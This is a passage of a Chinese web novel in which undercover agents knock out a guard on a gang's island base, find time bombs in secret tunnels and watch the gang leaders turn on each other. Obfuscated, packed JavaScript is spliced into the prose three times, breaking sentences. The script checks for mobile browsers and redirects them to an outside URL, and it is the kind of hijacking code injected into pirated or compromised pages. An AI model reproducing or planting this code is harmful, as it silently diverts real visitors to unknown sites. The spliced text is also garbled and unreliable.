（不过取货的人也没有认真搜查过这两名意外上船的“蛋糕学徒”。那艘船上面有信号屏蔽器，到了蓬莱岛更是完全没有手机信号。长年累月都是如此，组织的人也懒得搜查手机了，反正上了船上了岛，外人的手机就是一块离线的板砖。） 甜品间，门外一阵钥匙串碰撞的声音，几声咔哒咔哒的开锁声，门被打开了。 小山擦着汗，提着几份饭菜进来，看到他们蛋糕的修复进度和离开之前差不多，一下子就有点不满了。 他把袋子放到桌面上，邹着眉头走过来，“你们怎么回事，我离开这么久，你们居然停下来了？你们是不是不想离开了？” 小山感觉自己的耐性被消磨得差不多了。他本来可以悠闲地和其他人一起，在餐厅慢慢享受大餐，然后回宿舍午休，下午再去码头轮班站岗。现在莫名其妙地被塞了一个任务，盯着两个外来人工作。他还给这两个人带了午饭！这两个人真的是不知死活，完全不知道自己到底来了个什么样的地方…… 小山好像小山一样的体型，怒气冲冲地逼近。 程昭、侯远山暗道不妙。 先行频道里面的斥候小队听到这边的动静，也暗自担心两人的处境。 程昭快速衡量了敌我双方的武力。光凭身体力量，即使她们格斗水平可能比小山高一点，但是他们的体格相差太大，两个人一起上，也未必可以迅速制伏小山，到时候引来其他人就麻烦了…… 侯远山下意识地向前一步，挡在女士的身前。 小山看到了，怒气一下子就锁定侯远山。这个男学徒干活最不积极，只会慢吞吞地切水果，什么用都没有，现在还想逞英雄？ 小山蒲扇一样的大手，一把抓住侯远山的衣襟，把他提了起来，“你这家伙，现在倒是挺积极啊？之前慢吞吞的，我看你不顺眼好久了！反正你也不会修补蛋糕，你过来陪我练练拳吧！我还给你们带了饭，真是的……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007082|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在剧烈的摇晃下，侯远山匆忙藏起来的联络器“啪叽”一声，掉落在地上，刚好有按钮那一面朝上。 “嗯？这是什么东西？”小山俯下身，准备去捡起来。 侯远山用力挣扎，想要踢开联络器。 程昭看准时机，拿起装着糖霜粉末的小碗，对着小山的脸一泼。 “啊，我的眼睛！”小山丢下侯远山，后退几步，胡乱揉眼睛。 程昭拿出刚刚就准备好的系统道具——“强力电棒”（有效期4小时），对着小山的狠狠地来了一下。 不愧是系统出品的特殊道具，强力电棒果然十分强力。小山被电得浑身抽搐，翻起了白眼。 程昭感觉对方已经晕厥，但是不敢轻易放心，多电了几秒才松手，小山庞大的身躯，“咚”地一声倒在地上。 侯远山拿着切水果的小刀，走上前去观察，确定小山已经晕过去了，才松了一口气。 甜点间的柜子里面，之前看到有胶带和绳子。程昭拿了过来，麻利地给小山来了个五花大绑，然后又用胶带仔细地封住小山的嘴巴。 侯远山：“程昭，你这哪来的电棒？好像比队里的还厉害。” 程昭随便胡诌了个理由，“仓库里面偷拿的，可能是组织的人不小心落下的。” 侯远山：“哈哈哈，看来我们还是很幸运的，居然这样也被我们拿到武器。” 程昭露齿一笑，“即使没有电棒，我旁边也有木砧板……厨房怎么会缺少武器呢。” 联络器里面响起了斥候小队的声音：“你们没事吧？那个看守解决了？” 程昭：“嗯，他已经被我们绑起来了。我们可以直接用他手机了。真是计划赶不上变化，这下子，难题都解决了。” 两人谈笑间，快速掏空了小山的口袋，拿出了他的随身物品，手机、钥匙串、感应卡、手枪、折叠刀。 在程昭他们没意外登岛之前，斥候小队本来是计划潜水靠近小岛，找个隐蔽的地点上岸，冒险进入小岛的信号范围，连接组织的网络，黑掉他们的监控； 在程昭他们没解决看守之前，斥候小队改变了计划，打算让程昭他们靠近看守，通过联络器的蓝牙，向对方手机发送钓鱼信息。等对方点开了连接，再通过这个手机，连接网络，黑掉监控； 现在看守已经解决掉了，不需要慢慢等对方点开钓鱼信息了。 斥候小队直接把钓鱼链接，发送到程昭的联络器。程昭拿小山的指纹解锁了手机，打开了钓鱼链接。 斥候小队的小船上，技术员张柯对着电脑“啪啪啪”一顿操作，潜入了组织的网络。网络上面连接的设备，包括摄像头、电脑、手机等设备，全部都在斥候小队的监控之下。 解决了密密麻麻的监控，斥候小队观察了一阵巡逻队的情况，找了个合适的地方靠岸。不过因为这个上岸的地方比较偏僻，一路上都没有遇到合适的交通工具，斥候小队的人只能徒步前往基地的建筑区域。花费了一个多小时，才成功和程昭他们汇合。 程昭他们弄晕了小山，也不敢长期待在人来人往的厨房区域。他们把小山塞到甜品间的大柜子，然后锁上柜子和甜品间的门，按照斥候小队的建议，跑到附近的训练场躲起来。 107. 狗群和密道 频道里面，听到程昭简述的脱困过程，大家都庆幸程昭拿到了电棍。 如果他们没有趁手的武器，看守小山占了体型优势，程昭和侯远山战斗力有限，他们要解决他，很容易就会惊动附近的人。一旦他们暴露了身份，孤立无援，就危险了。 不过，大家听完都有一个疑惑。 虽然他们不敢频繁联络程昭他们，但是程昭他们没有这个顾忌，他们怎么没有传讯报平安？ 乔良问：“那你们怎么没有联络我们？难道是，去训练场的路上，遇到什么情况了？” 程昭：“是啊，本来想躲起来之后，和大家说一声的，但是后来发生了一些意外，不方便使用联络器……” 程昭继续讲之后遇到的事。 …… 程昭和侯远山解决完看守小山，等斥候小队的技术员破解完网络，时间已经是12:47。 这个时间刚好是午餐时间，饭菜都送到餐厅了，厨房的人也开始休息吃饭，附近走动的人变少了。但是这种情况应该很快就会改变，因为等下应该就有人运送餐盘回来。 程昭点开了系统道具“活点地图”（这次的道具比上次在垃圾厂使用过的差不多，可以显示使用者身周方圆20米的情况，敌方阵营的人会被标记显示红点，己方阵营的人会被标记显示绿点）。 “活点地图”显示，附近暂时没有组织的人。 事不宜迟，两人迅速出门锁门，然后按斥候小队的提示，前往训练场的方向。 训练场和后厨区域之间，隔着几个仓库和一片小树林。 一路上有几个监控，斥候小队事先帮忙，替换了监控画面。 仓库可能没有什么重要物品，这片区域没有留人看守，两人快速穿过。 两人一路小跑潜行，快要进入小树林的时候，突然发现树林里面拴着几只大狗！ 他们离狗群还有很长一段距离，大狗就发现了他们的存在，发狂了一般，对着他们的方向狂吠。 震天响的犬吠声，引来了远处巡逻队的注意。 …… 程昭见势不对，连忙拉着侯远山，退回仓库区域。 两人躲在拐角处，观望小树林那边的情况。 狗群的狂吠，引来两个巡逻员。两人一边查看，一边用对讲机，和小队反馈情况。 小树林的树并不粗壮，这里几乎没有可藏人的地方，一览无遗。两个巡逻员很快走向旁边的仓库区域。 程昭远远看到，厨房区域已经有人在走动了。现在再去其他区域，已经不太可行了。 两人无奈，只好拿出小山的钥匙，打开刚刚取食材的仓库，躲进里面，锁上大门。 他们在里面锁上门不久，就听到外面有人走动，门被用力拉了几下，发出“哐当哐当”的响声。 “门是锁上的，周围也没有看到其他人。” “奇了怪了，好端端的，那群狗怎么突然叫起来了？” “不知道啊……不过那几条狗动不动就乱叫，估计又看到什么小鸟老鼠吧。” “也对，那几条狗，饲养员一直不让它们吃饱，看到什么都想要咬一口，都饿疯了……上次我不小心走近了一点点，差点就被咬到了！” “真搞不明白，俱乐部这么多剩饭剩菜，都不给狗吃……” “上面的人觉得有趣呗，说这样养的狗比较凶。上次他们还选了两条狗，关一个笼子里面互斗，好多人都去看了，说很刺激……好像是赌场那边学来的……老板也很喜欢，说再多带一些猛兽过来，斗兽场变成常驻节目，岛上开赌局给大伙儿消遣……” 讨论声渐渐远去，躲在黑暗里面的程昭和侯远山松了一口气，但是又开始头疼起来。 侯远山挠挠头，“这……怎么办呢？一群饿疯了的狗……我们绕路过去训练场那边吗？还是躲在仓库里面，等其他人过来汇合？” 程昭想了想，摇头苦笑，“我们呆在这里有点太被动了，仓库只有一个门……另外，斥候小队和我们汇合，最快的路径就是从训练场那边过来，否则就要绕一段比较远的路。这些大狗确实是个问题，我们最好提前想办法解决。” 斥候小队刚刚给他们同步了信息，他们已经避开巡逻队上了岸，但是那个地方比较偏远，要穿过训练场后山过来。如果走其他的路，他们就必须绕过旁边的更高更大的山，耗费的时间和精力更多。 侯远山想了想，“大狗的话，我们可以找点迷药，混在食物里面。如果可以找到存放迷药或者武器的地方就好了……我想了一下，我们其实可以不和斥候小队汇合，反正先行部队就是要制造混乱，我们分散一点也合适。就是我们两个人数太少，火力不足，落单风险比较大。” 无论是斥候小队还是他们两个，都是作为先行队伍，监视岛内情况，在合适的时机制造混乱。如果不事先汇合，他们就要自己去找点趁手的武器。 程昭：“武器应该可以从基地里面获取。不过我们要做得隐蔽一点，不能打草惊蛇。” 虽然巡逻队有武器，他们可以偷偷电晕一两个，拿走他们的枪，但是这样做，很容易被人发现。 刚刚看到的巡逻员，出任务的时候，一直保持通话。如果所有巡逻员都是这样执行任务，他们就不能随便打晕他们，抢夺武器了。 程昭四处张望，想要拿点可以利用的东西，不过这个仓库好像只是放了食物和厨房用具…… 突然，“活点地图”显示，门外有四个人靠近。 程昭连忙示意侯远山噤声，然后指了指门外，用口型说“有人”，比了四只手指，然后带着侯远山躲进仓库深处。 虽然侯远山没发现门外有什么不对，但是他胜在听指挥，老老实实安安静静地，跟在程昭后面。 转过一堵墙，走进仓库里面的隔间。 程昭惊喜地发现，（系统显示）仓库隔间里面有一道暗门，可以通往密道。系统还标记显示了暗门的开关。 系统标记密道之后，“活点地图”也跟着显示了20米范围内的密道地图。密道很长，仿佛四通八达。密道里面没有人。 仓库的大门传来轻微的开锁声。 程昭假装发现暗门，轻手轻脚地打开，两人快速进入。 暗门关上，几秒后，仓库的门被打开了。 两人侧耳细听。 一阵杂乱的脚步声，开柜声，开箱声，拍打货物声，由远及近。 密道里面的程昭和侯远山，不由得屏住呼吸，暗自紧张。 幸好，巡逻的人并不知道暗门密道的存在，只是到处检查柜子箱子里面有没有藏人。 基地的暗门密道，应该是高层才知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032407|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘密（系统确认了程昭的猜测）。 “活点地图”显示，四个红色光点在仓库四处走来走去，最后都站在仓库隔间的门旁边。 “……好像没有人，难道真的是我们多心了？” “肯定是了，仓库的门锁得好好的，又没有其他出入口，外面也没有看到可疑的人。估计就是大伙儿吃完饭回来，那些狗远远地闻到味道，饿得大叫吧。” “哎，那些狗养得太凶了，万一不小心跑掉了，肯定会咬人。” “怕什么，跑了就打死呗，又不是什么名贵品种，高层也只是把它们当做消耗品，迟早都是死……” 几个巡逻员放下心来，锁上大门离开了。 …… 程昭和侯远山也不着急出去了，开始研究密道。 从巡逻员的反应来看，他们并不知道密道的存在。程昭他们走密道，会隐蔽安全很多。就是不确定密道可以通往哪里，这样和斥候小队比较难汇合。 程昭他们想通过联络器，和斥候小队商量一下对策，然后无奈地发现，密道里面的信号特别差，想要联系，只能先出密道。 程昭按了一下密道里面的开门按钮，推了一下暗门，发现推不动。 程昭紧张地吸了一口气，这个密道不会是陷阱吧，“这门怎么推不动了？” 侯远山：“我也来帮忙。” 两人使劲推，但是暗门纹丝不动。 “难道是开门不是这个按钮？”两人打开手机的手电筒，四处查看，发现暗门边上还有一个机关，可以偷看外面的情况。 程昭看了一下外面，一下子无语了。 “……巡逻队的人，刚刚翻查的时候，把旁边的大箱子移过来了。暗门刚好被顶住了。” “这下子，我们只能另寻出路了。”侯远山挠挠头，对着联络器连续说了几遍“我们进了密道，信号不好，等等再联系”。 联络器一直发出杂乱的电流声，好一会，对面传来一句，“收到，稍后联系。” …… 程昭打开手机自带指南针APP，指南针不需要联网，一下子就确定了方向。 坐接驳电车前往后厨的时候，程昭曾经通过树木和太阳辨别了大概的方向。 俱乐部的建筑群在蓬莱岛的中心偏南的区域，建筑朝向主要都是朝向南方。俱乐部的正门也在南侧。 后厨、仓库区域在基地的西北侧。 训练场和训练场后山在基地的北侧。 基地那些风格华丽、墙体厚实的房子，主要在基地的中心和东侧。 程昭他们走在密道里，密道一开始往下走，前往基地的中心方向，走了十几二十米，出现了另一个暗门。 暗门旁边也有和之前类似的偷窥装置，可以听到外面的声音。 两人仔细偷听，外面有几个人在打牌喝酒。 程昭小心地使用偷窥装置，看了几眼外面的情况。门外似乎是巡逻队的休息室。 这里没办法出去，两人继续往前走。 再往前，密道出现了一个十字路口。 其中一个是通往北侧训练场方向的，另外两个，似乎是通往基地的东侧和中心区域。 侯远山正想走向北侧，先去训练场，程昭轻轻拍了一下他的肩膀。 程昭小声说：“等一下。” 108. 密道惊魂 侯远山一下子紧张起来，“怎么了？”难道是附近有人？ 程昭指了指另外两条通道，低声说：“那边地上，好像有什么东西。” 刚刚他们手电筒的光晃过另外两条密道，密道里面一点的地方，角落里好像放着几个箱子。 那些箱子都被系统标记了，而且在夺权事件的信息关联表里面，排序很高。 比起先去训练场等待斥候小队，还是先确定这些箱子怎么回事，比较要紧。 侯远山点头，跟在程昭身后。 程昭选择先去中心方向的密道，两人蹑手蹑脚地向前走。 密道经过的房间，一直传来说话的声音。程昭、侯远山不确定密道里面的声音，会不会被密道外的人听到，只能尽量小心。 往深处走了十几米，看到了之前看到的几个纸箱。 箱子没有被封上。 两人小心翼翼地揭开，赫然发现里面装着定时炸弹！ 所幸，炸弹还没有启动，倒计时还停留在30分钟上。 程昭继续查看了另外的箱子，发现里面也是炸弹，不过有的有定时器，有的没有。 不确定放置炸弹的人会不会回来检查，再加上他们两个都不会拆弹，他们只好小心地把东西恢复原状。 程昭继续往密道更深处张望，隐隐约约看到，远处的地上同样堆放着几个箱子。系统标记显示，那些同样是炸弹。 两人折返回去分叉口，走通往东侧的密道。 那条密道里面，同样的，堆放着一些还没有启动的定时炸弹和炸药，倒数时间同样也是30分钟。 无需讨论，程昭和侯远山都意识到，有人在密道里面放置了大量的炸药，准备在某个时间，炸毁组织基地，杀死里面的人。 程昭检查了一下小山的手机。密道里面可以连接上组织的网络，只是信号差一点。 程昭沉吟片刻，低声道：“在密道里面，组织的网络还可以用。那些数量不明的定时炸弹，估计会通过远程装置启动。我们不会拆解炸弹，最好尽快联络大部队，把这些信息告诉他们。” 侯远山点头，“那我们现在怎么办？先去训练场？今天是罗坤生日宴，去训练场的人应该比较少。” 刚刚一路走来，有出口的地方，连接着的屋子里面都有人在。 密道里面联络器没有信号，如果不能出去，就不能使用联络器。 北侧通道经过的建筑相对少一点，但是人也会少一点，可以悄悄出密道的机会更大。 程昭正想点头同意，突然发现，“活点地图”出现了一个红点，从隔壁中心方向的密道，向附近的十字路口移动！ “嘘！”程昭连忙示意侯远山噤声，用手和嘴型比划，示意另一个密道有人在过来。 如果那个人走到分岔路口，灯一打过来，很容易就发现她们了！ 这边密道很深，不知道前面哪里才有转角或者分叉路。而且脚步声可能会吸引来者的注意。往深处跑，不是一个好的选择。 他们孤立无援，势单力薄，最好保持低调，尽量隐藏行迹，苟着发育。 先躲起来！ 程昭指了指不远处的暗门入口。 暗门房间地势比密道高，上坡之后有一个一平米左右的小平台，站在上面，如果密道里面的人没有靠近斜坡，不往里面打光，不一定会发现上面站着人。 两人安静而迅速地跑上了斜坡平台，贴墙站好，关上手电筒。 现在他们只能赌一把，赌密道里面的人，不会走近这个暗门。 听声响，暗门外面是一个办公室之类的地方，有噼里啪啦敲键盘的声响，有人们讲话的声音，还有时不时响起的电话铃声。 “活点地图”上的红点经过了十字路口，往他们所在的这条密道移动，最后在炸弹堆放的地方停了下来。 “咔哒。”那个人把手电筒放在箱子上。 刺眼的灯光打在旁边的墙壁上，映着那个人的躯体，把他的影子拉得很高很大。 看影子的动作，那个人似乎在捣鼓炸弹的定时器。“嘀嘀”两声尖锐的电子提示音，那个人似乎完成了他的目的，把定时炸弹一个个放好。 他俯身拿起手电筒，继续往密道深处走。手电筒的灯柱一晃一晃地照向前方。 密道里面没有灯，光源只有密道中人的手电筒。如果那个人不特意看向斜上方的暗门，应该就不会看到程昭她们。 程昭和侯远山紧贴墙壁，恨不得与墙融为一体，心里默默祈祷那个人不要过来，快点离开。 但是怕什么来什么，手电筒的灯柱明显倾斜了，准备打过来暗门的方向。 程昭一下子紧张起来。 她手心微微出汗，握紧了手里的“强力电棍”，准备那人一看过来，她就飞扑过去，把那个人电晕。 所幸，灯柱又摇摇晃晃地正回去了。 密道传来模糊不清的语言信息，听着像是小女生在和男朋友撒娇。 那个人似乎停下了脚步，回复对面的信息。 可能单手打字太麻烦，那个人改成语音回复。他一边小声回复一边继续往前走，“宝宝等等我哈，我很快就过来了……没有其他人，我的心你还不明白？嗯，乖，在处理事情呢……” 那个人很快走出了暗门通道的视线范围，程昭凭借匆匆一瞥，认出了来者的身份——（龙傲天）韩高煊。 …… 脚步声和光线渐渐远去，“活点地图”上的红点离开了可监测范围。 程昭松了一口气，悄悄下去密道。 韩高煊离开的方向，已经看不到任何光线。估计他在远处的拐角转弯了。 侯远山也跟着下来，紧张地在黑暗里四处张望。 两人看了一下定时炸弹，定时器还没有启动。 侯远山不解，“刚刚那个是韩高煊？他对炸弹动了什么手脚？” 程昭也不懂，不过她有系统作弊。 【系统标记显示了定时炸弹的某些改变，定时器新增连接了一个遥控器。】 程昭指出了定时炸弹的变化，“这里、这里好像和之前不一样了，这个按钮好像被动过，屏幕这里之前只有一个点……会不会是定时器被连接了新的遥控器？” 侯远山点点头又摇摇头，“有可能，最好让专业人士来确认一下。” 程昭：“嗯，是的，我们拍几个照片吧，总不能随身携带定时炸弹。” 程昭拿出手机，对着几个炸弹拍了一堆照片。 两人把东西恢复原状，然后连忙前往通往北侧训练场方向的密道，免得再次遇到折返回来的韩高煊。 …… 北侧密道也被放置了炸弹，那些定时炸弹已经被人连接了新的遥控器。 这一路没有遇到其他人，他们十分顺利地穿过了小树林狗群的范围。 两人想要早点和大部队联络上，而且也担心在密道里面迷路，干脆凭感觉选了一个比较近的暗门，先出暗道。 这个暗门连接的屋子，看起来是训练场里面的更衣室。屋子里没有人，挂着一些巡逻队之类的工作服、训练服。 两人出了暗门，迅速检查了一下屋里有没有摄像头或者其他人。 确认安全之后，通过窗外的风景，确定了这个更衣室就在训练场里面，大概在训练场门口区域附近。 开启联络器，很快就联络上了斥候小队。 斥候小队正在穿过训练场后方的山林，很快就要进入训练场了。他们之前查看了几次后台，都没看到程昭、侯远山上线，都开始担心他们的情况了。现在听到他们联络，大家都十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程昭忍不住在频道里面，直接把猜测说了出来。 船队的众人才惊觉，程昭和侯远山到了总频道。 …… 听完程昭简述两人一路的经历，大家都忍不住为他们捏了一把汗。 “你们居然遇到韩高煊去添加遥控器了？” “你们还挺幸运的，这样都没被发现。” 周立言想了想，“可能韩高煊担心自己的声音会传到暗门外面，又或者还有很多个炸弹需要手动添加遥控器，所以他才急着离开。” 程昭回想了一下，“确实有这个可能，他当时压低了声音，走过暗门附近的时候，还加快了步速。” 大家继续商量下一步的对策。 现在警方已经在暗地里占了很多优势： 先行队伍已经成功汇合，程昭他们已经脱困，拿到了武器； 斥候小队破解了岛上的网络，把岛上的监控情况，同步给了海军警方船队； 月牙岛的海盗已经被解决，警方俘虏了一些人，缴获了几艘海盗和组织的船； 程昭他们了解了岛上的密道，知道了一些暗门…… 另外，船队一直在蓬莱岛附近监视，目前没有再看到有离开的船。 罗坤、韩高煊等人还在岛上，应该不会急着启动定时炸弹。 罗坤是打算先试探叛变的墙头草，所以应该会等生日宴开始之后再动手。 红狐的私兵，可能在四点左右乘船登岛。 鲨鱼的海盗佣兵已经废了，但是他和他的部下都在岛上，不确定什么时候会发难。 而韩高煊很可能是打算提前引爆炸弹。 留给警方的时间变少了，警方最好提前出手。 109. 组织高层 下午15:35，蓬莱岛中区。 一个装潢华丽的茶室，一群人正在讨论KL组织在各地的生意。 一开始，众人只是在吹嘘自己的功劳和手段，凭借什么赚了多少钱，拉拢了什么人……后来慢慢提到，国内警察破坏了成瘾药物的生产和供应，破坏了拐卖网络，导致XX会所、XX地下医院缺少供应货物…… 警方接二连三地踹掉了他们的地盘，严重影响了他们的营收。老客户也因为诸多顾虑，减少了过来光顾他们的生意…… 组织做的是暴利生意，来钱来得快，但是组织养着这么多的人，花钱花得也快。 现在被曝光的生意越来越多，收入来源越来越少，大家都有点忧虑。 他们底下豢养的都不是什么守法公民，好处给得不到位，分分钟会反噬。警方盯得这么紧，老板、红狐、鲨鱼都没说清楚，要怎么收拾局面。 他们这些组织高层，这么多年确实是赚够了，可以跑去国外逍遥。但是如果想继续在国外，像以前那样做生意，那就有点困难了。 以前组织在A国风生水起，都是因为A国的某个大人物和大老板罗坤有过命的交情。 当年罗坤的大儿子二儿子，就是因为救那个大人物而意外死亡的。所以那个大人物一直很尊重罗坤，默许组织在暗地里胡作非为。 当然，组织也赞助了那个大人物很多资金，帮他解决政敌，让他继续往上爬。大家是互惠互利的关系。 但是最近两年，那个大人物被政敌打压下去了，风光不再，无力庇护罗坤和KL组织。组织也开始低调做事，收窄了在A国的经营范围，连带的在国内也低调了许多。 如果放弃国内，跑到国外，他们只能当个富贵闲人了，KL组织可能也要解散…… 如果组织真的要解散或者重组，那么就应该重新分配一下钱财！他们平时做了这么多脏活累活，拿到的只是小头，大部分的利益都被组织收在手里，留作经营投资运转…… “……国内的盘子，应该可以继续做吧？不是还有几个城市的生意，没有被警察发现吗？” “但是这样太危险了，还不如早点撤离，保住剩下的人和钱。” “不如好像红狐大哥之前说的那样，转移阵地。去X国挺好的，那边□□社团是合法的……” “那还不如去A国，那边我们也有地盘和产业，鲨鱼大哥经营的会所也可以当做重新开始的根基……” …… 众人各持己见，互不相让，言语之间透露出各自的立场。 差不多一小半的人都在明里暗里支持红狐，一部分人支持鲨鱼，一部分墙头草，只有不到四分之一的人表示听从罗坤的意思。 罗坤再一次感觉自己已经老了，他的身体和手下，都不听使唤了。 罗坤不甘心。 当年X市□□的人和钱，全靠他才拿到。KL组织是他一手创立的，大人物的庇护也是因为他家的牺牲才有的…… 如今要他把位置让出来？做梦！ “各位，请听我说，”罗坤抬起一只手，往下一压，示意大家安静，“我们在警察专案组那边有眼线，他们都被引开视线了。一切都在我的掌握之中，大家不要着急。” 鲨鱼有点急躁。在中午的时候，海盗佣兵忽然联系不上了。不过基地里面也有他的人，高层里面有不少人是投靠了他的，还有一些态度不明的墙头草。既然会议话题开始提及组织未来，他就有点想先下手为强，免得老板把他的小儿子引进话题。 鲨鱼把茶杯一放，“怎么可能不用着急呢？总不能火烧眉毛了才来讨论吧？” 红狐顺势应和：“总要先定下个章程。平时大家分散各地，难得聚在一起，今天借着boss生日，正好把事情理顺。” 红狐本来没打算那么快提这个话题，但是在场有些人性子比较急，本来大家只是喝茶闲谈，说说各地生意的近况，结果就有人提到国内警察追查组织的事。 红狐的人和船，计划在下午四点左右，混在生日宴宾客的船队里面靠岸。枪械火药炸弹已经提前偷偷带进来了，火力充足，再加上他在岛上也有一些可用的势力，提前把话说开，也是可以的。顺便可以试探一下大家的态度，最好可以和平拿下组织的话语权。 罗坤冷笑一声：“看来你们不是真心给我祝寿的，反倒像是来闹事的。” 茶室安静了下来，众人惶惶不安。罗坤这几年因为身体不好，存在感降低了，但是毕竟有多年的威信，他一发怒，大家都有点退缩。 众人沉默了两秒，红狐笑了起来，“boss说笑了，怎么会呢？我们只是担心，最近的事会影响组织。” 罗坤冷面一收，换上了和善的笑脸，“嗯，我知道。现在人还没齐，有些人还在赶来的路上，谈公事怎么可以撇下他们？大家还是换个话题吧，等全部人齐了，再来说正事。” 组织的大部分高层都来到了，但是有一些比较远的还在路上。 最重要的是，老板的儿女还没有到场。 贸然动手，肯定会出现漏网之鱼，以后就会很麻烦。 红狐、鲨鱼都不想留下太多麻烦。两人顺水推舟地附和罗坤的话，把话题引向其他地方。 高层里面有些人平时比较少来这边，红狐建议老板带大家到处参观一下。 红狐提出的建议，是夹带着私心的。 宾客船队晚一点就要到了。如果他们继续呆在茶室，老板不愿意讨论公事，宾客来到的时候，罗坤说不定会跑去港口迎接贵宾。一群老狐狸一起去码头，说不定就会发现不对劲。 蓬莱岛基地平时以休闲度假为主，娱乐项目不如外面的刺激。不过岛上有很大的训练场、赛车跑道，还修建了中式园林、西式花园，可参观的地方有很多。 红狐的建议，罗坤很爽快地采纳了。 他不想继续听，这些起了异心的手下讨论组织的未来。 如果不是为了等那些还没有到场的高层负责人，他早就想把这些人一起炸上天。虽然里面还有一些人愿意跟着他，但是他们未必会真心实意地跟随他的小儿子。 组织发展多年，许多负责人已经形成了自己的势力，有了自己的小心思。尾大不掉，干脆狠心一点，一次割除……收复他们的部下，比拉拢这些老狐狸容易很多。 罗坤打了个电话，让管家安排车子和司机过来，带大家四处走走。 管家收到，马上开始安排。 众人起身，穿过装饰华美的走廊，来到门口。 管家脸色略带不安，拿着电话走了过 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老板的房子附近也有爆炸点？！大家庆幸离开了茶室，随即纷纷皱起眉头。 被炸的，似乎很多都是基地的要害。 不对劲，很有问题！ 一群老狐狸都感觉到了危险，岛上不宜久留，等下恐怕有大事发生。 “岛上怎么会有炸弹？” “放炸弹的人，怎么会那么清楚岛上重要的地方？” “幸好我们没有留在茶室里面，那个地方离爆炸点很近……” “留得青山在不怕没柴烧，我们不如先乘船离开吧？” 罗坤有点惊疑不定，三番四次想要掏出口袋里面的遥控器，看看是不是什么按钮误触了。 大家看向罗坤，等待罗坤表态。 罗坤想了想，吩咐司机和助手，“先去码头。联络码头，联络武装队，先护送我们离开。” 岛上的炸弹无论是不是他放的，这里已经不安全了。还是先离开，再慢慢派人调查。 …… 助手打电话联络码头和船长，电话过了好久才接通。 “不好了，码头好几艘船也被炸了！” “什么？！” 众人感觉一阵寒意，从脚底往上升。 罗坤眯着眼睛眺望远处的俱乐部。爆炸已经停止了，火势也被控制住了。他放置了炸弹的几处都没有发生爆炸，如果不是炸弹没有受到波及，就是他的炸弹被人移位了…… 本来计划今天解决所有高层负责人，但是现在已经行不通了。 有那么一刹那，罗坤想过把身边这些老狐狸都解决，然后把他们伪装成是被那些爆炸炸死的。 但是这些人身后都带着保镖，事后他也很难解释。 而且这些爆炸确实不寻常，还是小心为上。 罗坤：“大家放心，岛上还有其他交通工具。我们去训练场，那边停着我的私人飞机，我们先离开。” 司机连忙改变方向。 众人有点疑虑，纷纷打电话联络部下，紧急安排附近的船过来支援。 罗坤也打电话给基地管家，让他安排飞机师去训练场。 110. 爆炸 观光车载着一众组织高层，回到基地建筑群，快速朝着训练场方向行驶。 越靠近建筑群，越能感觉到爆炸的威力。 西南部走私、贩毒的负责人推了推鼻梁的眼镜，皱眉道：“怎么回事，为什么岛上会有这么多炸弹？” 北部代孕、贩卖人口的负责人掏出口袋的香烟，点燃吸了一口，“是不是哪个内鬼把军火库里面的炸弹拿出来了？” 东部诈骗、走私的负责人嫌弃地扇了扇空气里的二手烟，“怎么可能，又不是谁都有库房钥匙……难道是有仇家偷偷潜进来了？” 东南部悬赏暗杀、地下诊所的负责人嚼着口香糖，“这节骨眼……难道是警察来了？” 中部贿赂、诈骗的负责人摇了摇头，“如果是警察，我们怎么会一点信息都没有收到？而且这么多炸弹，基地在海上，到底怎么运进来的？” 南部走私、诈骗的负责人抿嘴，“现在最重要的还是先离开这里，炸弹可以日后慢慢调查。” 一众高层负责人都提心吊胆，恨不得插上翅膀立刻离开这里。虽然爆炸没有继续，但是谁知道等下会发生什么？ 至于罗坤的生日宴，已经没有人在意了，包括罗坤自己。 罗坤严重怀疑，刚刚那些炸弹，就是他偷偷准备好，放在密道里的那些。如果身边没有其他人，他都想要进入密道，确定一番了。 忽然，车外的人似乎在骚动，拿着手机跑向某个方向。 罗坤和几个高层的手机响了，他们都收到了相同的信息。 信息里面写着，“基地有地下密道，密道里面被人放满了炸弹，想要把大家都杀了。不过，现在炸弹已经被好心人搬到其他地方引爆了。你们猜猜是谁想要炸死你们？”信息最后还附上了一张监控照片，画面显示一名男子在码头躲藏窥探，男子露出了半张脸，正是韩高煊。 “怎么回事？密道炸弹？” “红狐，你不是你的手下吗？好像叫韩高煊？” “红狐，怎么回事？你的人引爆了炸弹？你们想做什么？” “老板，岛上真的有密道吗？炸弹怎么会在密道里？” “司机，停车！” 司机感觉到车内的气氛不对，小心翼翼地靠边停车。 大家快速下车，借着观光车和保镖作为掩体，互相提防。 这条群发信息的字数不多，蕴含的信息量却很大。 无论炸弹是和罗坤还是红狐有关，对于其他高层来说，都意味着有陷阱。 刚刚基地重点位置被炸，他们虽然紧张，但是毕竟爆炸没有波及到自身。即使大船出了问题，他们可以联络附近的快船，而且还有一批人正在乘船来蓬莱岛，他们还可以乘他们的船离开。 但是如果炸弹一开始是埋在他们脚下，而他们都一无所知，那炸弹就是冲着他们来的…… 